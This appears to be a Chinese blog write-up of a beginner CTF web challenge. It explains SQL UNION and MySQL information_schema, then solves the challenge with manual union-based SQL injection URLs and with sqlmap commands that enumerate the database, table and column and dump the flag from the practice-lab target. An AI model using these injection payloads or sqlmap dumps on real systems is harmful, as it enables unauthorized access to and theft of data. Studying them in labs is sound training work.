1. 程式人生 > >實驗吧ctf-web題:這個看起來有點簡單

實驗吧ctf-web題:這個看起來有點簡單

從今天開始做實驗吧的CTF習題,爭取一天一道,一天一總結,做到不貪多,不糊弄,每天學習一點點,每天進步一點點。
今天做的是這個看起來有點簡單這個題,是一道SQL注入的題目。用了兩種方法,一種就是從url進行sql注入,一種是使用sqlmap工具。

預備知識

1. SQL中union的用法

union操作符用於合併兩個或多個SELECT語句的結果集
要求:union合併的SELECT語句的結果集,必須擁有相同數量的列,列也必須擁有相似的資料型別,同時,列的順序必須相同。

- SQL union語法

SELECT column_name(s) FROM table_name1
union
SELECT column_name(s) FROM table_name2

注意:預設地,union操作符選取不重複的值,如果允許重複,使用union all

- SQL union all 語法

SELECT column_name(s) FROM table_name1
union all
SELECT column_name(s) FROM table_name2

另外,union結果集中的列名總是等於union中第一個SELECT語句中的列名。

- 舉例

China表:

E_ID E_Name
01 Zhang, Hua
02 Wang, Wei
03 Carter, Thomas
04 Yang, Ming

USA表:

E_ID E_Name
01 Adams, John
02 Bush, George
03 Carter, Thomas
04 Gates, Bill

使用 UNION 命令,列出所有在中國和美國的不同的僱員名:

SELECT E_Name FROM China
UNION
SELECT E_Name FROM USA

結果

E_Name
Zhang, Hua
Wang, Wei
Carter, Thomas
Yang, Ming
Adams, John
Bush, George
Gates, Bill

註釋:這個命令無法列出在中國和美國的所有僱員。在上面的例子中,我們有兩個名字相同的僱員,他們當中只有一個人被列出來了。UNION 命令只會選取不同的值。

使用 UNION ALL 命令,列出在中國和美國的所有的僱員:

SELECT E_Name FROM Employees_China
UNION ALL
SELECT E_Name FROM Employees_USA

結果

E_Name
Zhang, Hua
Wang, Wei
Carter, Thomas
Yang, Ming
Adams, John
Bush, George
Carter, Thomas
Gates, Bill

2. MySql中information_schema是什麼

安裝完MySql之後,會有一個information_schema資料庫,是MySql自帶的,不能刪除,他提供了訪問資料庫元資料的方式,所謂元資料,就是關於資料的資料,如資料庫名,表名,列名,訪問許可權等。
在MySQL中,把 information_schema 看作是一個數據庫,確切說是資訊資料庫。其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。在INFORMATION_SCHEMA中,有數個只讀表。它們實際上是檢視,而不是基本表,因此,你將無法看到與之相關的任何檔案。

information_schema資料庫表說明:

information_schema中的表 意義
SCHEMATA表 提供了當前mysql例項中所有資料庫的資訊。是show databases的結果取之此表。
TABLES表 提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from schemaname的結果取之此表。
COLUMNS表 提供了表中的列資訊。詳細表述了某張表的所有列以及每個列的資訊。是show columns from schemaname.tablename的結果取之此表。
STATISTICS表 提供了關於表索引的資訊。是show index from schemaname.tablename的結果取之此表。
USER_PRIVILEGES(使用者許可權)表 給出了關於全程許可權的資訊。該資訊源自mysql.user授權表。是非標準表。
SCHEMA_PRIVILEGES(方案許可權)表 給出了關於方案(資料庫)許可權的資訊。該資訊來自mysql.db授權表。是非標準表。
TABLE_PRIVILEGES(表許可權)表 給出了關於表許可權的資訊。該資訊源自mysql.tables_priv授權表。是非標準表。
COLUMN_PRIVILEGES(列許可權)表 給出了關於列許可權的資訊。該資訊源自mysql.columns_priv授權表。是非標準表。
CHARACTER_SETS(字符集)表 提供了mysql例項可用字符集的資訊。是SHOW CHARACTER SET結果集取之此表。
COLLATIONS表 提供了關於各字符集的對照資訊。
COLLATION_CHARACTER_SET_APPLICABILITY表 指明瞭可用於校對的字符集。這些列等效於SHOW COLLATION的前兩個顯示欄位。
TABLE_CONSTRAINTS表 描述了存在約束的表。以及表的約束型別。
KEY_COLUMN_USAGE表 描述了具有約束的鍵列。
ROUTINES表 提供了關於儲存子程式(儲存程式和函式)的資訊。此時,ROUTINES表不包含自定義函式(UDF)。名為“mysql.proc name”的列指明瞭對應於INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表 給出了關於資料庫中的檢視的資訊。需要有show views許可權,否則無法檢視檢視資訊。
TRIGGERS表 提供了關於觸發程式的資訊。必須有super許可權才能檢視該表

方法一:在Url中進行sql注入

這道題目的url為:http://ctf5.shiyanbar.com/8/index.php?id=1 由id=1判斷可能存在sql注入,嘗試測試是否存在sql注入:

  • 在url後新增:一個單引號
    即: http://ctf5.shiyanbar.com/8/index.php?id=1'
    結果顯示為mysql資料庫
    這裡寫圖片描述

  • 在url後新增:and 1=1
    即:http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
    結果正常返回,因此存在sql注入
    這裡寫圖片描述

  • 使用union,先獲取資料庫名
    url:
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
    可以看到資料庫名為:my_db
    這裡寫圖片描述

  • 使用union,獲取表名
    url
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES
    可以看到,表名為thiskey
    這裡寫圖片描述
  • 使用union,獲取列名
    url
    http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%20TABLE_NAME,COLUMN_NAME%20FROM%20information_schema.COLUMNS
    可以看到,列名為k0y
    這裡寫圖片描述
  • 獲取flag
    url
    http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey
    可以看到key:whatiMyD91dump
    這裡寫圖片描述

方法二:使用sqlmap工具

使用工具就很簡單了
- 檢視當前資料庫名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' --current-db
這裡寫圖片描述
- 查看錶名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -tables
這裡寫圖片描述
- 檢視列名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey --columns
這裡寫圖片描述
- dump資料
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey -C k0y --dump
這裡寫圖片描述

兩種方法總結完畢,對sql注入只是特別特別淺的認識,要好好研究一下,然後學習學習sqlmap工具的使用!